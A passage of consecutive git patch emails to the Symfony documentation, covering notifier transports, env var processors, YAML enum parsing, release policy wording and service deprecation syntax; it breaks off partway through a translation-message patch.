From: Salavat Sitdikov <sitsalavat@gmail.com>
Date: Tue, 14 Dec 2021 15:29:20 +0300
Subject: [PATCH 3358/7107] Remove Firebase transport from Push

FirebaseTransport supports ChatMessage and not supported by TexterTransport which indicated in Documentation.
---
 notifier.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 59642c4dc51..d015af8e94b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -356,7 +356,6 @@ integration with these push services:
 ==============  ====================================  =================================================================================
 Service         Package                               DSN
 ==============  ====================================  =================================================================================
-Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
 Expo            ``symfony/expo-notifier``              ``expo://Token@default``
 OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
 ==============  ====================================  =================================================================================

From 4da7162ef424e3243309e1256a582d9dea0ca601 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Jul 2022 16:41:18 +0200
Subject: [PATCH 3359/7107] Minor tweak

---
 deployment.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index e3bbea2a2a8..9eb2b653552 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -166,16 +166,15 @@ most natural in your hosting environment.
 
         $ composer dump-env prod --empty
 
-    Sometimes ``composer`` may not be installed on your hosting environment. Thus you
-    have to install and package Composer related code logic way before deploying.
-    Another way to generate this optimized file is to manually register the built in
-    command `Symfony\\Component\\Dotenv\\Command\\DotenvDumpCommand`
-    and use it:
+    If ``composer`` is not installed on your server, you can generate this optimized
+    file with a command provided by Symfony itself, which you must register in
+    your application before using it:
 
     .. code-block:: yaml
 
-    services:
-        Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
+        # config/services.yaml
+        services:
+            Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
 
     .. code-block:: terminal
 

From 13a271189f9d2391674b69ea7db33d120802f6cf Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 24 Oct 2021 20:33:14 +0200
Subject: [PATCH 3360/7107] [Validator] Add missing option to configs

---
 validation/custom_constraint.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 41753fc02c0..7bdfcb362e4 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -43,6 +43,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
         class ContainsAlphanumeric extends Constraint
         {
             public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+            public $mode = 'strict'; // If the constraint has configuration options, define them as public properties
         }
 
 Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
@@ -166,7 +167,7 @@ You can use custom validators like the ones provided by Symfony itself:
             // ...
 
             #[Assert\NotBlank]
-            #[AcmeAssert\ContainsAlphanumeric(options: ['mode' => 'loose'])]
+            #[AcmeAssert\ContainsAlphanumeric(mode: 'loose')]
             protected $name;
 
             // ...
@@ -179,7 +180,8 @@ You can use custom validators like the ones provided by Symfony itself:
             properties:
                 name:
                     - NotBlank: ~
-                    - App\Validator\ContainsAlphanumeric: ~
+                    - App\Validator\ContainsAlphanumeric:
+                        mode: 'loose'
 
     .. code-block:: xml
 
@@ -192,7 +194,9 @@ You can use custom validators like the ones provided by Symfony itself:
             <class name="App\Entity\AcmeEntity">
                 <property name="name">
                     <constraint name="NotBlank"/>
-                    <constraint name="App\Validator\ContainsAlphanumeric"/>
+                    <constraint name="App\Validator\ContainsAlphanumeric">
+                        <option name="mode">loose</option>
+                    </constraint>
                 </property>
             </class>
         </constraint-mapping>
@@ -213,7 +217,7 @@ You can use custom validators like the ones provided by Symfony itself:
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('name', new NotBlank());
-                $metadata->addPropertyConstraint('name', new ContainsAlphanumeric());
+                $metadata->addPropertyConstraint('name', new ContainsAlphanumeric(['mode' => 'loose']));
             }
         }
 

From 5a3c09fa2f27199dd1fe51a4f74c95077986cade Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Jul 2022 17:55:32 +0200
Subject: [PATCH 3361/7107] [Form] Remove some unnecessary versionadded
 directives

---
 reference/forms/types/form.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index b2314fe8bd2..3e69935e944 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -86,10 +86,6 @@ the underlying object that will be used to populate the form field.
 
 More details are available in the section on :doc:`/form/data_mappers`.
 
-.. versionadded:: 5.2
-
-    Form mapping callbacks were added in Symfony 5.2.
-
 .. include:: /reference/forms/types/options/help.rst.inc
 
 .. include:: /reference/forms/types/options/help_attr.rst.inc
@@ -136,10 +132,6 @@ back to the underlying object.
 
 More details are available in the section on :doc:`/form/data_mappers`.
 
-.. versionadded:: 5.2
-
-    Form mapping callbacks were added in Symfony 5.2.
-
 .. include:: /reference/forms/types/options/trim.rst.inc
 
 .. include:: /reference/forms/types/options/validation_groups.rst.inc

From 6857913a5365e5ce7b18aef244d565fb4a40c2c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Jul 2022 17:49:18 +0200
Subject: [PATCH 3362/7107] [Mailer] Deprecate the "loose" validation option

---
 reference/configuration/framework.rst | 5 +++++
 reference/constraints/Email.rst       | 5 +++++
 2 files changed, 10 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 7dabd6887c9..73b35de2336 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2508,6 +2508,11 @@ email_validation_mode
 
 **type**: ``string`` **default**: ``loose``
 
+.. deprecated:: 6.2
+
+    The ``loose`` default value is deprecated since Symfony 6.2. Starting from
+    Symfony 7.0, the default value of this option will be ``html5``.
+
 Sets the default value for the
 :ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 0d13c42ac64..8db1ec35884 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -135,6 +135,11 @@ The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
 configuration option.
 
+.. deprecated:: 6.2
+
+    The ``loose`` value is deprecated since Symfony 6.2. Starting from
+    Symfony 7.0, the default value of this option will be ``html5``.
+
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From 4ae363a34ca78a1a827e5ce247e3b2146aa8b452 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre@users.noreply.github.com>
Date: Thu, 30 Jun 2022 14:24:28 +0200
Subject: [PATCH 3363/7107] Releases: add details to minor and major versions

---
 contributing/community/releases.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 9a2e652ac48..916a44f3894 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -10,9 +10,11 @@ published through a *time-based model*:
 * A new **Symfony patch version** (e.g. 4.4.12, 5.1.9) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
 * A new **Symfony minor version** (e.g. 4.4, 5.0, 5.1) comes out every *six months*:
-  one in *May* and one in *November*. It contains bug fixes and new features, but
-  it doesn't include any breaking change, so you can safely upgrade your applications;
-* A new **Symfony major version** (e.g. 4.0, 5.0) comes out every *two years*.
+  one in *May* and one in *November*. It contains bug fixes and new features,
+  can contain new deprecations but it doesn't include any breaking change,
+  so you can safely upgrade your applications;
+* A new **Symfony major version** (e.g. 4.0, 5.0) comes out every *two years*
+  in November of odd years (e.g. 2019, 2021).
   It can contain breaking changes, so you may need to do some changes in your
   applications before upgrading.
 

From 2b5571307bd8f2803dfec47d421ca216d0acd3a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Jul 2022 16:30:57 +0200
Subject: [PATCH 3364/7107] Minor tweak

---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 0a44db2858f..fac78dd82dd 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -338,7 +338,7 @@ The following options are supported by the ``SymfonyRuntime``:
 ``dotenv_path`` (default: ``.env``)
     To define the path of dot-env files.
 ``dotenv_overload`` (default: ``false``)
-    To tell Dotenv whether to override ``.env`` vars with ``.env.local`` (or other ``.env.*``)
+    To tell Dotenv whether to override ``.env`` vars with ``.env.local`` (or other ``.env.*`` files)
 ``use_putenv``
     To tell Dotenv to set env vars using ``putenv()`` (NOT RECOMMENDED).
 ``prod_envs`` (default: ``["prod"]``)

From 6570ade2bf4c9092b091df6b09ff2e3fc79c01eb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Jul 2022 09:00:21 +0200
Subject: [PATCH 3365/7107] Fix ordered lists in secrets management and Form
 component documentation

---
 components/form.rst       | 11 ++++++-----
 configuration/secrets.rst | 34 +++++++++++++++++-----------------
 2 files changed, 23 insertions(+), 22 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index dfbcfdfdcb4..bd9df171d5d 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -648,14 +648,15 @@ method:
 
 This defines a common form "workflow", which contains 3 different possibilities:
 
-1) On the initial GET request (i.e. when the user "surfs" to your page),
+#. On the initial GET request (i.e. when the user "surfs" to your page),
    build your form and render it;
 
-If the request is a POST, process the submitted data (via :method:`Symfony\\Component\\Form\\Form::handleRequest`).
-Then:
+   If the request is a POST, process the submitted data (via :method:`Symfony\\Component\\Form\\Form::handleRequest`).
 
-2) if the form is invalid, re-render the form (which will now contain errors);
-3) if the form is valid, perform some action and redirect.
+   Then:
+
+#. if the form is invalid, re-render the form (which will now contain errors);
+#. if the form is valid, perform some action and redirect.
 
 Luckily, you don't need to decide whether or not a form has been submitted.
 Just pass the current request to the :method:`Symfony\\Component\\Form\\Form::handleRequest`
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index ba0c05bb278..845a2106af7 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -240,32 +240,32 @@ Deploy Secrets to Production
 Due to the fact that decryption keys should never be committed, you will need to
 manually store this file somewhere and deploy it. There are 2 ways to do that:
 
-1) Uploading the file:
+#. Uploading the file
 
-The first option is to copy the **production decryption key** -
-``config/secrets/prod/prod.decrypt.private.php`` to your server.
+   The first option is to copy the **production decryption key** -
+   ``config/secrets/prod/prod.decrypt.private.php`` to your server.
 
-2) Using an Environment Variable
+#. Using an Environment Variable
 
-The second way is to set the ``SYMFONY_DECRYPTION_SECRET`` environment variable
-to the base64 encoded value of the **production decryption key**. A fancy way to
-fetch the value of the key is:
+   The second way is to set the ``SYMFONY_DECRYPTION_SECRET`` environment variable
+   to the base64 encoded value of the **production decryption key**. A fancy way to
+   fetch the value of the key is:
 
-.. code-block:: terminal
+   .. code-block:: terminal
 
-    # this command only gets the value of the key; you must also set an env var
-    # in your system with this value (e.g. `export SYMFONY_DECRYPTION_SECRET=...`)
-    $ php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");'
+       # this command only gets the value of the key; you must also set an env var
+       # in your system with this value (e.g. `export SYMFONY_DECRYPTION_SECRET=...`)
+       $ php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");'
 
-To improve performance (i.e. avoid decrypting secrets at runtime), you can decrypt
-your secrets during deployment to the "local" vault:
+   To improve performance (i.e. avoid decrypting secrets at runtime), you can decrypt
+   your secrets during deployment to the "local" vault:
 
-.. code-block:: terminal
+   .. code-block:: terminal
 
-    $ php bin/console secrets:decrypt-to-local --force --env=prod
+       $ php bin/console secrets:decrypt-to-local --force --env=prod
 
-This will write all the decrypted secrets into the ``.env.prod.local`` file.
-After doing this, the decryption key does *not* need to remain on the server(s).
+   This will write all the decrypted secrets into the ``.env.prod.local`` file.
+   After doing this, the decryption key does *not* need to remain on the server(s).
 
 Rotating Secrets
 ----------------

From 05a80d28c875313296a756c28d80c94bab768f3c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Jul 2022 09:19:55 +0200
Subject: [PATCH 3366/7107] Add `enum` env var processor documentation

---
 configuration/env_var_processors.rst | 43 ++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 84bccba97d5..3c33a98f410 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -698,6 +698,49 @@ Symfony provides the following env var processors:
                 ],
             ]);
 
+``env(enum:FooEnum:BAR)``
+    Tries to convert an environment variable to an actual ``\BackedEnum`` value. This processor takes the fully qualified
+    name of the ``\BackedEnum`` as an argument.
+
+    .. code-block:: php
+
+        # App\Enum\Environment
+        enum Environment: string
+        {
+            case Development = 'dev';
+            case Production = 'prod';
+        }
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            parameters:
+                typed_env: '%env(enum:App\Enum\Environment:APP_ENV)%'
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="typed_env">%env(enum:App\Enum\Environment:APP_ENV)%</parameter>
+                </parameters>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            $container->setParameter('typed_env', '%env(enum:App\Enum\Environment:APP_ENV)%');
+
 It is also possible to combine any number of processors:
 
 .. configuration-block::

From a3eda500b520b3b84577197d9ccc00d81091e92c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Jul 2022 14:42:33 +0200
Subject: [PATCH 3367/7107] [Yaml] Add support for !php/enum *->value syntax

---
 components/yaml.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index d5675a417e9..6ef7880bfae 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -338,6 +338,30 @@ syntax to parse them as proper PHP constants::
     $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
     // $parameters = ['foo' => 'PHP_INT_SIZE', 'bar' => 8];
 
+Parsing Unit and Backed Enumerations
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Unit and backed enumerations can be parsed by the YAML parser thanks to the
+special ``!php/enum`` syntax and the ``PARSE_CONSTANT`` flag. Depending if
+you need the concrete enumeration case or the actual value of the case when
+dealing with backed enumerations, both syntax are available::
+
+    enum FooEnum: string
+    {
+        case Foo = 'foo';
+        case Bar = 'bar';
+    }
+
+    // ...
+
+    $yaml = '{ foo: FooEnum::Foo, bar: !php/enum FooEnum::Foo }';
+    $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
+    // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => FooEnum::Foo];
+
+    $yaml = '{ foo: FooEnum::Foo, bar: !php/enum FooEnum::Foo->value }';
+    $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
+    // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => 'foo'];
+
 Parsing and Dumping of Binary Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From d24f2ece1eff19728d7119252dfd62857487e7a7 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 8 Jul 2022 11:49:38 +0200
Subject: [PATCH 3368/7107] Update releases.rst

---
 contributing/community/releases.rst | 27 +++++++++++++++++----------
 1 file changed, 17 insertions(+), 10 deletions(-)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 0ecaa641f9b..1bb4a4cb5a3 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -7,9 +7,9 @@ release and maintain its different versions.
 Symfony releases follow the `semantic versioning`_ strategy and they are
 published through a *time-based model*:
 
-* A new **Symfony patch version** (e.g. 4.4.12, 5.1.9) comes out roughly every
+* A new **Symfony patch version** (e.g. 4.4.43, 5.4.10, 6.1.2) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
-* A new **Symfony minor version** (e.g. 4.4, 5.0, 5.1) comes out every *six months*:
+* A new **Symfony minor version** (e.g. 4.4, 5.4, 6.1) comes out every *six months*:
   one in *May* and one in *November*. It contains bug fixes and new features,
   can contain new deprecations but it doesn't include any breaking change,
   so you can safely upgrade your applications;
@@ -19,7 +19,7 @@ published through a *time-based model*:
 
 .. tip::
 
-    `Subscribe to Symfony Roadmap notifications`_ to receive an email when a new
+    `Subscribe to Symfony Release notifications`_ to receive an email when a new
     Symfony version is published or when a Symfony version reaches its end of life.
 
 .. _contributing-release-development:
@@ -27,6 +27,13 @@ published through a *time-based model*:
 Development
 -----------
 
+.. note::
+
+    The Symfony project is an open-source community driven development framework.
+    There is no roadmap written or defined in advance. Every feature request
+    may or may not be developed in future version based on the community.
+    Symfony core team members can help move things forward if the intereset is here.
+
 The full development period for any major or minor version lasts six months and
 is divided into two phases:
 
@@ -43,7 +50,7 @@ final release.
 
 .. tip::
 
-    Check out the `Symfony Roadmap`_ to learn more about any specific version.
+    Check out the `Symfony Release`_ to learn more about any specific version.
 
 .. _contributing-release-maintenance:
 .. _symfony-versions:
@@ -93,12 +100,12 @@ two versions: the new major one (e.g. 5.0) and the latest version of the
 previous branch (e.g. 4.4).
 
 Both versions have the same new features, but they differ in the deprecated
-features. The oldest version (4.4 in this example) contains all the deprecated
-features whereas the new version (5.0 in this example) removes all of them.
+features. The oldest version (5.4 in this example) contains all the deprecated
+features whereas the new version (6.0 in this example) removes all of them.
 
-This allows you to upgrade your projects to the latest minor version (e.g. 4.4),
+This allows you to upgrade your projects to the latest minor version (e.g. 5.4),
 see all the deprecation messages and fix them. Once you have fixed all those
-deprecations, you can upgrade to the new major version (e.g. 5.0) without
+deprecations, you can upgrade to the new major version (e.g. 6.0) without
 effort, because it contains the same features (the only difference are the
 deprecated features, which your project no longer uses).
 
@@ -155,6 +162,6 @@ period to upgrade. Companies wanting more stability use the LTS versions: a new
 version is published every two years and there is a year to upgrade.
 
 .. _`semantic versioning`: https://semver.org/
-.. _`Subscribe to Symfony Roadmap notifications`: https://symfony.com/account/notifications
-.. _`Symfony Roadmap`: https://symfony.com/releases
+.. _`Subscribe to Symfony Release notifications`: https://symfony.com/account/notifications
+.. _`Symfony Release`: https://symfony.com/releases
 .. _`professional Symfony support`: https://sensiolabs.com/

From 02ed5a7bdd8c027fa14f588cb87c3eedb94e07bf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 12:54:37 +0200
Subject: [PATCH 3369/7107] Minor tweaks

---
 contributing/community/releases.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 1bb4a4cb5a3..774eca7a24d 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -29,10 +29,10 @@ Development
 
 .. note::
 
-    The Symfony project is an open-source community driven development framework.
+    The Symfony project is an open-source community-driven development framework.
     There is no roadmap written or defined in advance. Every feature request
-    may or may not be developed in future version based on the community.
-    Symfony core team members can help move things forward if the intereset is here.
+    may or may not be developed in future versions based on the community.
+    Symfony Core Team members can help move things forward if there's enough interest.
 
 The full development period for any major or minor version lasts six months and
 is divided into two phases:

From 67e021a819df832f67db3c4d3045a3ce816ee314 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 15:27:46 +0200
Subject: [PATCH 3370/7107] Minor reword

---
 components/yaml.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index 6ef7880bfae..2c463d1c731 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -338,13 +338,12 @@ syntax to parse them as proper PHP constants::
     $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
     // $parameters = ['foo' => 'PHP_INT_SIZE', 'bar' => 8];
 
-Parsing Unit and Backed Enumerations
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Parsing PHP Enumerations
+~~~~~~~~~~~~~~~~~~~~~~~~
 
-Unit and backed enumerations can be parsed by the YAML parser thanks to the
-special ``!php/enum`` syntax and the ``PARSE_CONSTANT`` flag. Depending if
-you need the concrete enumeration case or the actual value of the case when
-dealing with backed enumerations, both syntax are available::
+The YAML parser supports `PHP enumerations`_, both unit and backed enums.
+By default, they are parsed as regular strings. Use the ``PARSE_CONSTANT`` flag
+and the special ``!php/enum`` syntax to parse them as proper PHP enums::
 
     enum FooEnum: string
     {
@@ -356,12 +355,18 @@ dealing with backed enumerations, both syntax are available::
 
     $yaml = '{ foo: FooEnum::Foo, bar: !php/enum FooEnum::Foo }';
     $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
+    // the value of the 'foo' key is a string because it missed the `!php/enum` syntax
     // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => FooEnum::Foo];
 
     $yaml = '{ foo: FooEnum::Foo, bar: !php/enum FooEnum::Foo->value }';
     $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
+    // the value of the 'foo' key is a string because it missed the `!php/enum` syntax
     // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => 'foo'];
 
+.. versionadded:: 6.2
+
+    The support for PHP enumerations was introduced in Symfony 6.2.
+
 Parsing and Dumping of Binary Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -484,3 +489,4 @@ Learn More
 .. _`YAML`: https://yaml.org/
 .. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
 .. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
+.. _`PHP enumerations`: https://www.php.net/manual/en/language.types.enumerations.php

From 67b08ad30bce20e2a023c80e9feebf0a0c3bfabf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Jul 2022 15:48:35 +0200
Subject: [PATCH 3371/7107] [BrowserKit] Add response fetch to BrowserKit
 documentation

---
 components/browser_kit.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 76c0e33d5e1..e89f98f97e2 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -321,6 +321,19 @@ dedicated web crawler or scraper such as `Goutte`_::
 
     The feature to make external HTTP requests was introduced in Symfony 4.3.
 
+Dealing with HTTP responses
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When using the BrowserKit component, you may need to deal with responses of
+the requests you made. To do so, you need to call the ``getResponse()``
+method of the ``HttpBrowser`` object. This method retrieves the last response
+the browser received::
+
+    $browser = new HttpBrowser(HttpClient::create());
+
+    $browser->request('GET', 'https://foo.com');
+    $response = $browser->getResponse();
+
 Learn more
 ----------
 

From ffdb7e6e8688d7bcb09ec88baa9ab5b3895d91dc Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 8 Jul 2022 08:17:41 +0200
Subject: [PATCH 3372/7107] Fix documentation on declaration of service
 deprecation in YAML format

---
 service_container/alias_private.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index f216855d292..cf811195473 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -349,7 +349,10 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
         # config/services.yaml
         App\Service\OldService:
-            deprecated: The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.
+            deprecated:
+                package: 'vendor-name/package-name'
+                version: '2.8'
+                message: The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.
 
     .. code-block:: xml
 

From 976422a65ec1b25ab9ed2958a242a7fb3cc94e01 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 16:01:54 +0200
Subject: [PATCH 3373/7107] Complete XML and PHP configs and added a
 versionadded directive

---
 service_container/alias_private.rst | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index cf811195473..da8eaf86328 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -364,7 +364,7 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
             <services>
                 <service id="App\Service\OldService">
-                    <deprecated>The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.</deprecated>
+                    <deprecated package="vendor-name/package-name" version="2.8">The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.</deprecated>
                 </service>
             </services>
         </container>
@@ -380,9 +380,19 @@ or you decided not to maintain it anymore), you can deprecate its definition:
             $services = $configurator->services();
 
             $services->set(OldService::class)
-                ->deprecate('The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.');
+                ->deprecate(
+                    'vendor-name/package-name',
+                    '2.8',
+                    'The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.'
+                );
         };
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, the ``deprecated`` YAML option, the ``<deprecated>``
+    XML tag and the ``deprecate()`` PHP function require three arguments (the
+    package name, the version and the deprecation message).
+
 Now, every time this service is used, a deprecation warning is triggered,
 advising you to stop or to change your uses of that service.
 

From d2404a251fb64b6de194e09cc191307326e074db Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 16:03:32 +0200
Subject: [PATCH 3374/7107] Remove a versionadded directive

---
 service_container/alias_private.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index a19de458978..9f6c341cbf9 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -380,12 +380,6 @@ or you decided not to maintain it anymore), you can deprecate its definition:
                 );
         };
 
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the ``deprecated`` YAML option, the ``<deprecated>``
-    XML tag and the ``deprecate()`` PHP function require three arguments (the
-    package name, the version and the deprecation message).
-
 Now, every time this service is used, a deprecation warning is triggered,
 advising you to stop or to change your uses of that service.
 

From 3a3c990c05d1d9094c41abfc6bdbc76e1b0e624d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jul 2022 16:47:12 +0200
Subject: [PATCH 3375/7107] Add the versionadded directive

---
 configuration/env_var_processors.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 3c33a98f410..35a247dd6fa 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -699,8 +699,8 @@ Symfony provides the following env var processors:
             ]);
 
 ``env(enum:FooEnum:BAR)``
-    Tries to convert an environment variable to an actual ``\BackedEnum`` value. This processor takes the fully qualified
-    name of the ``\BackedEnum`` as an argument.
+    Tries to convert an environment variable to an actual ``\BackedEnum`` value.
+    This processor takes the fully qualified name of the ``\BackedEnum`` as an argument.
 
     .. code-block:: php
 
@@ -741,6 +741,10 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('typed_env', '%env(enum:App\Enum\Environment:APP_ENV)%');
 
+.. versionadded:: 6.2
+
+    The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
+
 It is also possible to combine any number of processors:
 
 .. configuration-block::

From c734f28537fc9fedb0cf638325c8a03656652fe3 Mon Sep 17 00:00:00 2001
From: CJDennis <CJDennis@users.noreply.github.com>
Date: Thu, 7 Jul 2022 11:43:24 +1000
Subject: [PATCH 3376/7107] Improve the grammar in the example messages

Separate the case of multiple people from an organisation or a non-binary person treated as singular
---
 translation/message_format.rst | 26 ++++++++++++++++++--------
 1 file changed, 18 insertions(+), 8 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 88608466eda..5da4a95fd16 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -102,7 +102,8 @@ typical usage of this is gender:
             {organizer_gender, select,
                 female {{organizer_name} has invited you to her party!}
                 male   {{organizer_name} has invited you to his party!}
-                other  {{organizer_name} have invited you to their party!}
+                multi  {{organizer_name} have invited you to their party!}
+                other  {{organizer_name} has invited you to their party!}
             }
 
     .. code-block:: xml
@@ -118,7 +119,8 @@ typical usage of this is gender:
                         <target>{organizer_gender, select,
